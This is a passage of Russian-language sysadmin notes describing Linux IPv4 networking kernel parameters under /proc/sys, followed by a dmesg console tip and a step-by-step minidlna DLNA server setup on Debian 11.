реализованв для поддержки TCP по коммутируемым соединениям и соединениям с маскарадингом (masqueradig). Эта опция позволяет "маскарадить" исходящий адрес пакета при изменении динамического IP-адреса. В переменную можно записать одно из 3-х значений: 0, 1 или 2. 0 -- опция выключена, это значение по-умолчанию. 1 -- опция включена. Любое другое значение, отличающееся от 0 и 1 подразумевает включение этой опции в "многословном" (verbose) режиме, что приводит к записи в системный журнал отладочных сообщений. /proc/sys/net/ipv4/ip_forward Включает/отключает функцию форвардинга (передачу транзитных пакетов между сетевыми интерфейсами), которая позволяет компьютеру выступать в роли брандмауэра или маршрутизатора. Эта переменная очень важна для Network Address Translation (Трансляция Сетевых Адресов), брандмауэров, маршрутизаторов и всего того, что должно передавать пакеты между сетями. Это булева переменная. Или, другими словами, она может принимать два значения -- 0 или 1. Значение по-умолчанию -- 0, "запрещено". То есть 0 означает запрет форвардинга, а 1 -- разрешает его. /proc/sys/net/ipv4/ip_local_port_range Содержит два целых числа, которые определяют диапазон локальных портов, которые используются в клиентских соединениях, т.е. для исходящих соединений, которые связывают нашу систему с некоторым узлом сети, где мы выступаем в качестве клиента. Первое число задает нижнюю границу диапазона, второе -- верхнюю. Значения по-умолчанию зависят от имеющегося объема ОЗУ. Если установлено более чем 128 Мб, то нижняя граница будет 32768, а верхняя -- 61000. При меньшем объеме ОЗУ нижняя граница будет 1024 а верхняя -- 4999 или даже меньше. Этот диапазон определяет количество активных соединений, которые могут быть запущены одновременно, с другой системой, которая не поддерживает TCP-расширение timestamp. Диапазона 1024-4999 вполне достаточно для установки до 2000 соединений в секунду с системами, не поддерживающими timestamp. Проще говоря, этого вполне достаточно для большинства применений. /proc/sys/net/ipv4/ip_no_pmtu_disc Параметр ip_no_pmtu_disc запрещает поиск PMTU (от англ. Path Maximum Transfer Unit -- Максимальный Размер Пакета для выбранного Пути). Для большинства случаев лучше установить в эту переменную значение FALSE, или 0 (т.е. система будет пытаться определить максимальный размер пакета, при котором не потребуется выполнять их фрагментацию, для передачи на заданный хост). Но иногда, в отдельных случаях, такое поведение системы может приводить к "срывам" соединений. Если у вас возникают такие проблемы, то вам следует попробовать отключить эту опцию (т.е. записать в переменную число 1) и установить нужное значение MTU. Обратите внимание на то, что MTU и PMTU -- это не одно и то же! MTU -- (от англ. Maximum Transfer Unit -- максимальный размер пакета) определяет максимальный размер пакета для наших сетевых интерфейсов, но не для сетевых интерфейсов на другом конце. PMTU -- опция, которая заставляет систему вычислять максимальный размер пакета, при котором не потребуется фрагментация пакетов, для маршрута к заданному хосту, включая все промежуточные переходы. Значение по-умолчанию -- FALSE (0), т.е. функция определения разрешена. Если записать число 1 в этот файл, то функция определения PMTU будет запрещена. Параметр ip_no_pmtu_disc может принимать значение 0 или 1. /proc/sys/net/ipv4/ipfrag_high_thresh Параметр задает максимальный объем памяти, выделяемый под очередь фрагментированных пакетов. Когда длина очереди достигает этого порога, то обработчик фрагментов будет отвергать все фрагментированные пакеты до тех пор, пока длина очереди не уменьшится до значения переменной ipfrag_low_thresh. Это означает, что все отвергнутые фрагментированные пакеты должны быть повторно переданы узлом-отправителем. /proc/sys/net/ipv4/ip_nonlocal_bind Установка этого параметра позволяет отдельным локальным процессам выступать от имени внешнего (чужого) IP-адреса. Это может оказаться полезным в некоторых случаях, когда необходимо "прослушивать" внешние (чужие) IP-адреса, например -- сниффинг чужого траффика. Однако, эта опция может оказывать отрицательное влияние на работоспособность отдельных приложений. Может иметь два значения -- 0 или 1. Если установлено значение 0, то опция отключена, 1 -- включена. Значение по-умолчанию -- 0. /proc/sys/net/ipv4/ipfrag_low_thresh Этот параметр очень тесно связан с переменной ipfrag_high_thresh. Он устанавливает нижний порог, при достижении которого опять разрешается прием фрагментов в очередь. Обработчик фрагментов имеет свою очередь, в которой находятся фрагментированные пакеты, ожидающие сборки. Когда длина очереди достигает верхнего порога (ipfrag_high_thresh), то прием фрагментов в очередь приостанавливается до тех пор, пока длина очереди не уменьшится до величины ipfrag_low_thresh. Это предохраняет систему от "затопления" фрагментированными пакетами и, тем самым, является, в своем роде, защитой от некоторых видов DoS-атак. /proc/sys/net/ipv4/ipfrag_time Определяет максимальное время "хранения" фрагментов в секундах. Это относится только к тем фрагментам, которые пока невозможно собрать, поскольку собранные пакеты к этому сроку скорее всего уже будут переданы дальше (на следующий уровень или в сеть). Принимает целое значение и определяет предельное время хранения фрагментов в секундах. Если записать туда число 5, то это будет означать 5 секунд. /proc/sys/net/ipv4/tcp_abort_on_overflow Заставляет ядро отвергать новые соединения, если их поступает такое количество, что система не в состоянии справиться с таким потоком. Что это означает? Допустим, что на систему обрушивается шквал запросов на соединение, тогда они могут быть просто отвергнуты, если эта опция будет включена, поскольку система не в состоянии обработать их все. Если не установлена, то система будет пытаться обслужить все запросы. Может иметь два значение -- 0(выключено) или 1(включено). Значение по-умолчанию -- 0. Включение этой опции следует расценивать как крайнюю меру. Перед этим необходимо попытаться поднять производительность сервисов. /proc/sys/net/ipv4/tcp_fin_timeout Задает максимальное время пребывания сокета в состоянии FIN-WAIT-2. Используется в тех случаях, когда другая сторона по тем или иным причинам не закрыла соединение со своей стороны. Каждый сокет занимает в памяти порядка 1.5 Кб, что может привести к значительным утечкам памяти в некоторых случаях. Принимает целое число. Значение по-умолчанию -- 60 секунд. В ядрах серии 2.2 это значение было равно 180 секундам, но было уменьшено, поскольку иногда возникали проблемы, связанные с нехваткой памяти, на web-серверах, которые, как правило, обслуживают огромное количество подключений. За дополнительной информацией -- обращайтесь к описанию параметров tcp_max_orphans и tcp_orphan_retries. /proc/sys/net/ipv4/tcp_keepalive_time Определяет -- как часто следует проверять соединение, если оно давно не используется. Значение параметра имеет смысл только для тех сокетов, которые были созданы с флагом SO_KEEPALIVE. Принимает целое число секунд. Значение по-умолчанию -- 7200, т.е. 2 часа. Не уменьшайте это число без необходимости, поскольку это может привести к увеличению бесполезного трафика. /proc/sys/net/ipv4/tcp_keepalive_intvl Определяет интервал проверки "жизнеспособности" сокета. Это значение учитывается при подсчете времени, которое должно пройти перед тем как соединение будет разорвано. Принимает целое число. Значение по-умолчанию -- 75 секунд. Это достаточно высокое значение, чтобы рассматривать его как нормальное. Значения параметров tcp_keepalive_probes и tcp_keepalive_intvl могут использоваться для определения времени, через которое соединение будет разорвано. Со значениями по-умолчанию (9 попыток с интервалом 75 секунд) это займет примерно 11 минут. Попытки определения "жизнеспособности", в свою очередь, начнутся через 2 часа после того, как через данное соединение проследовал последний пакет. /proc/sys/net/ipv4/tcp_keepalive_probes Определяет количество попыток проверки "жизнеспособности" прежде, чем будет принято решении о разрыве соединения. Принимает целое число, которое не следует устанавливать больше 50-ти. Значение по-умолчанию -- 9. Это означает, что будет выполнено 9 попыток проверки соединения, чтобы убедиться в том, что соединение разорвано. /proc/sys/net/ipv4/tcp_max_orphans Задает максимальное число "осиротевших" (не связанных ни с одним процессом) сокетов. Если это число будет превышено, то такие соединения разрываются, а в системный журнал пишется предупреждение. Это ограничение существует исключительно ради предотвращения простейших разновидностей DoS-атак. Вообще вы не должны полагаться на эту переменную! Не рекомендуется уменьшать это число. Сетевая среда может потребовать увеличение этого порога, однако, такое увеличение может привести к необходимости увеличения объема ОЗУ в системе. Прежде чем поднимать этот предел -- попробуйте перенастроить сетевые сервисы на более агрессивное поведение по отношению к "осиротевшим" сокетам. Принимает целое число. Значение по-умолчанию -- 8192, однако оно очень сильно зависит от объема памяти в системе. Каждый "осиротевший" сокет "съедает" примерно 64 Кб памяти, которая не может быть сброшена в своп (swap). При возникновении проблем, связанных с этим ограничением -- в системный журнал будет записано сообщение, подобное этому: TCP: too many of orphaned sockets Это может служить поводом к тому, чтобы пересмотреть значения переменных tcp_fin_timeout или tcp_orphans_retries. /proc/sys/net/ipv4/tcp_orphan_retries Количество попыток закрыть соединение перед тем как оно будет разорвано принудительно. Если вы администрируете http-сервер, который испытывает большие нагрузки, то стоит подумать об уменьшении этого значения. Значение по-умолчанию -- 0 (archlinux) /proc/sys/net/ipv4/tcp_max_syn_backlog Определяет максимальное время хранения SYN-запросов в памяти до момента получения третьего, завершающего установление соединения, пакета. Эта опция работает только тогда, когда включен параметр tcp_syncookies. Если сервер испытывает серьезные нагрузки, то можно попробовать немного увеличить этот параметр. По-умолчанию равно 512 /proc/sys/net/ipv4/tcp_max_tw_buckets Максимальное число сокетов, находящихся в состоянии TIME-WAIT одновременно. При превышении этого порога -- "лишний" сокет разрушается и пишется сообщение в системный журнал. Цель этой переменной -- предотвращение простейших разновидностей DoS-атак. По-умолчанию -- 180000. /proc/sys/net/ipv4/tcp_retrans_collapse Включает/выключает эмуляцию ошибки протокола TCP, делая возможным сетевое взаимодействие с некоторыми устройствами, в которых реализация стека TCP имеет эту ошибку. Без ее эмуляции было бы невозможным работать с отдельными моделями принтеров. Ошибка заключается в отправке полноразмерных пакетов при повторной передаче. Значение по-умолчанию -- 1 (включено). /proc/sys/net/ipv4/tcp_retries1 Максимальное количество попыток повторной передачи пакетов по установленному соединению прежде, чем сообщение об ошибке будет передано сетевому уровню, в результате чего может быть выбран другой маршрут для отправки последующих пакетов. Минимальное значение этого параметра равно 3. Это число является значением по-умолчанию, что соответствует интервалу времени от 3 секунд до 8 минут, в зависимости от величины Retransmission timeout (RTO). Детальное описание RTO вы найдете в разделе "3.7. Data Communication" RFC 793 - Transmission Control Protocol. Значение по-умолчанию -- 3. /proc/sys/net/ipv4/tcp_retries2 Максимальное количество попыток повторной передачи пакетов, до того как соединение будет считаться разорванным. Это ограничение определено в RFC 1122 и равно 100, но обычно его уменьшают. Значение по-умолчанию -- 15, что соответствует примерно 13-30 минутам в зависимости от величины Retransmission timeout (RTO). /proc/sys/net/ipv4/tcp_rfc1337 Является реализацией решения проблемы, описываемой в "RFC 1337 - TIME-WAIT Assassination Hazards in TCP". Проблема связана с "устаревшими" дубликатами пакетов, которые могут вносить помехи во вновь устанавливаемые соединения и порождать три различные проблемы. Первая -- "устаревший" дубликат пакета с данными может быть ошибочно воспринят в новом соединении, что приведет к передаче неверных данных. Вторая -- соединение может быть десинхронизировано и "уйти" в ACK-цикл из-за "устаревших" дубликатов, которые порождают новые соединения (здесь автор имеет ввиду "устаревшие" дубликаты SYN-пакетов, прим. перев.). И третья проблема -- "устаревшие" дубликаты могут "проникнуть" в недавно созданное соединение и ошибочно уничтожить его. /proc/sys/net/ipv4/tcp_sack Разрешает Selective Acknowledgements (SACK -- Выборочное Подтверждение), детальное описание вы найдете в RFC 2883 - An Extension to Selective Acknowledgement (SACK) Option for TCP и RFC 2883 - An Extension to Selective Acknowledgement (SACK) Option for TCP /proc/sys/net/ipv4/tcp_stdurg Разрешает/запрещает соответствие стандарту RFC 1122. Поведение по-умолчанию соответствует стандарту использования флага URG -- BSD 4.2, описанному в RFC 793. Если этот параметр включен, то возможны сбои при работе с отдельными узлами Интернета, точнее -- с узлами, которые придерживаются стандарта BSD 4.2. Значение по-умолчанию -- 0 (выключено). /proc/sys/net/ipv4/tcp_syn_retries Количество попыток передачи SYN-пакета при установлении нового соединения. Это число не должно устанавливаться больше чем 255, поскольку каждая повторная попытка отнимает значительное время. На каждую попытку отводится примерно 30-40 секунд. Значение по-умолчанию -- 5, что соответствует, примерно, 180 секундам. /proc/sys/net/ipv4/tcp_synack_retries Количество попыток передачи SYN,ACK-пакета в ответ на SYN-запрос. Другими словами -- максимальное число попыток установить пассивное TCP-соединение, инициированное другим хостом. Это число не должно устанавливаться больше чем 255. Значение по-умолчанию -- 5. /proc/sys/net/ipv4/tcp_timestamps Разрешает/запрещает использование временных меток (timestamps), в соответствии с RFC 1323. Если коротко, то это расширение TCP используется для расчета Round Trip Measurement (определение времени возврата) лучшим способом, нежели метод Retransmission timeout (RTO). Эта опция должна сохранять обратную совместимость в большинстве случаев, так что лучше оставить ее включенной, особенно если вы работаете в высокоскоростной сети (например LAN или 10mb Интернет). В случае низкоскоростного оединения (скажем модемное) -- вы прекрасно обойдетесь и без этой опции, и будет даже лучше, если вы ее отключите. Значение по-умолчанию -- 1 (включено). /proc/sys/net/ipv4/tcp_window_scaling Разрешает/запрещает масштабирование TCP-окна, как определено в RFC 1323. В этом документе описано как производится масштабирование TCP-окна при передаче по Large Fat Pipes (LFP -- "толстый" канал). При передаче TCP-пакетов по "толстым" каналам возникают существенные потери пропускной способности из-за того, что они не загружены полностью во время ожидания подтверждения о приеме предыдущего TCP-окна. Основная проблема состоит в том, что окно не может иметь размер больше, чем 2**16 байт (65 Кб). Разрешая масштабирование TCP-окна мы, тем самым, можем увеличить его размер и таким образом уменьшить потери пропускной способности. Значение по-умолчанию -- 1 (включено).
dev
DEV следует понимать название устройства. Настройки в каталоге all применяются ко ВСЕМ сетевым интерфейсам /proc/sys/net/ipv4/conf/DEV/accept_redirects Управляет приемом ICMP-сообщений о переадресации. Сообщения ICMP Redirect ... используются для уведомления маршрутизаторов или хостов о существовании лучшего маршрута движения пакетов к заданному хосту, который (маршрут) может быть быстрее или менее загружен. /proc/sys/net/ipv4/conf/DEV/accept_source_route Разрешает/запрещает "маршрутизацию от источника". Маршрутизация от источника весьма небезопасна. По-умолчанию -- 1 (включено). В archlinux = 0 /proc/sys/net/ipv4/conf/DEV/bootp_relay Разрешает/запрещает форвардинг пакетов с исходящими адресами 0.b.c.d. Демон BOOTP relay должен перенаправлять эти пакеты на корректный адрес. Значение по-умолчанию -- 0 (выключено), поскольку реализация обработки этого параметра еще отсутствует (kernel v2.2.12). /proc/sys/net/ipv4/conf/DEV/forwarding Включает/отключает функцию форвардинга (передачу транзитных пакетов) между сетевыми интерфейсами. Могут использоваться для включения/выключения функции форвардинга для отдельных интерфейсов. По-умолчанию все параметры conf/DEV/forwarding принимают значение, установленное в ipv4/ip_forward так, если этот параметр включить, то и все параметры conf/DEV/forwarding будут включены, если выключить, то и conf/DEV/forwarding окажутся выключены. /proc/sys/net/ipv4/conf/DEV/log_martians Включает/выключает функцию журналирования всех пакетов, которые содержат неправильные (невозможные) адреса (так называемые martians -- "марсианские" пакеты). Под невозможными адресами, в данном случае, следует понимать такие адреса, которые отсутствуют в таблице маршрутизации. /proc/sys/net/ipv4/conf/DEV/mc_forwarding Включает/выключает поддержку маршрутизации групповых рассылок для заданного интерфейса. Кроме того, чтобы иметь поддержку маршрутизации групповых рассылок, необходимо собрать ядро с включенной опцией CONFIG_MROUTE. Дополнительно в системе должен иметься демон, осуществляющий групповую маршрутизацию. Значение по-умолчанию -- 0 (выключено). Обратите внимание -- нет никакой необходимости включать эту опцию, если вы желаете лишь получать групповые пакеты. Она необходима только если вы собираетесь перенаправлять групповой трафик через вашу систему. /proc/sys/net/ipv4/conf/DEV/proxy_arp Включает/выключает проксирование arp-запросов для заданного интерфейса. ARP-прокси позволяет маршрутизатору отвечать на ARP запросы в одну сеть, в то время как запрашиваемый хост находится в другой сети. С помощью этого средства происходит "обман" отправителя, который отправил ARP запрос, после чего он "думает", что маршрутизатор является хостом назначения, тогда как в действительности хост назначения находится по другую сторону маршрутизатора. Маршрутизатор выступает в роли уполномоченного агента хоста назначения, перекладывая пакеты от другого хоста. Значение по-умолчанию -- 0 (выключено). Дополнительную информацию вы найдете в Proxy-ARP mini HOWTO. /proc/sys/net/ipv4/conf/DEV/rp_filter Проверка Обратного Адреса, хотя это слишком вольный перевод термина, но мне он кажется наиболее близким по смыслу. прим. перев.. По-умолчанию, маршрутизаторы перенаправляют все подряд, даже пакеты, которые не принадлежат вашей сети. В качестве примера можно привести утечку локального трафика в Интернет. Если у вас имеется интерфейс с маршрутом к нему 195.96.96.0/24, то вы наверняка не ожидаете получить на него пакеты от 212.64.94.1. В файловой системе /proc лежит файл, изменив который вы сможете отключить или включить эту проверку. Смысл этого параметра достаточно прост -- все, что поступает к нам, проходит проверку на соответствие исходящего адреса с нашей таблицей маршрутизации и такая проверка считается успешной, если принятый пакет предполагает передачу ответа через тот же самый интерфейс. Следующий фрагмент включит проверку исходящего адреса для всех существующих интерфейсов: # for i in /proc/sys/net/ipv4/conf/*/rp_filter ; do echo 2 > $i ; done /proc/sys/net/ipv4/conf/DEV/secure_redirects Включает/выключает режим безопасной переадресации. Если параметр выключен, то будут приниматься любые сообщения ICMP Redirect ... от любого хоста из любого места. Если включен, то сообщения о переадресации будут восприниматься только от тех шлюзов (gateways), которые имеются в списке шлюзов по-умолчанию. С помощью этой опции можно избежать большинства ложных переадресаций, которые могут быть использованы для перехвата трафика. Значение по-умолчанию -- 1 (включено). Обратите внимание -- действие этой параметра отменяется параметром shared_media, так что, если вы включаете secure_redirects, то необходимо включить и shared_media. /proc/sys/net/ipv4/conf/DEV/send_redirects Включает/выключает выдачу ICMP Redirect ... другим хостам. Эта опция обязательно должна быть включена, если хост выступает в роли маршрутизатора любого рода. Как правило ICMP-сообщения о переадресации отправляются в том случае, когда необходимо сообщить хосту о том, что он должен вступить в контакт с другим сервером. Значение по-умолчанию -- 1 (включено). Если компьютер не выступает в роли маршрутизатора, то этот параметр можно отключить. /proc/sys/net/ipv4/conf/DEV/shared_media Включает/выключает признак того, что физическая сеть является носителем нескольких логических подсетей, например, когда на одном физическом кабеле организовано несколько подсетей с различными сетевыми масками. Этот признак используется ядром при принятии решения о необходимости выдачи ICMP-сообщений о переадресации. Значение по-умолчанию -- 0 (выключено). Этот параметр влияет на установку параметра secure_redirects.
!!! Совет плохой, но иногда надо, ибо что то сделать по tty (console 0) нет возможности, лезет куча сообщений #отключить сообщения dmesg --console-off #отключить сообщения выше 1 уровня dmesg --console-level 1
нахрена?
DLNA (англ. Digital Living Network Alliance) — набор стандартов, позволяющих совместимым устройствам передавать и принимать по домашней сети различный медиаконтент (изображения, музыку, видео), а также отображать его в режиме реального времени. То есть — технология для соединения домашних компьютеров, мобильных телефонов, ноутбуков и бытовой электроники в единую цифровую сеть. Устройства, которые поддерживают спецификацию DLNA, по желанию пользователя могут настраиваться и объединяться в сеть в автоматическом режиме. Средой передачи медиаконтента обычно является домашняя локальная сеть (IP-сеть). Подключение DLNA-совместимых устройств к домашней сети может быть как проводным (Ethernet), так и беспроводным (Wi-Fi).
Ссылки:
https://ru.wikipedia.org/wiki/DLNA https://media-player-s.ru/vlc-dlna
Установка сервера dlna на debian 11 и настройка
0. Ставим apt update apt install minidlna 1. Редактируя файл настраиваем. (Конфиг достаточно информативный, ниже строки на которые следует обратить внимание) vim /etc/minidlna ----------------- media_dir=V,/mnt/datastore2/films media_dir=A,/mnt/datastore2/music merge_media_dirs=yes db_dir=/var/cache/minidlna log_dir=/var/log port=8200 ----------------- 2. Собственно перезапускаем и заодно проверяем minidlna systemctl stop minidlna.service systemctl start minidlna.service systemctl enable minidlna.service systemctl status minidlna.service 3. Что дальше? А дальше на клиенте запускаем любой клиент dlna. windows media player (сеть) VLC (нажать вит - плейлист - появится окно - протокол UPnP ) AndroidTV - VLC


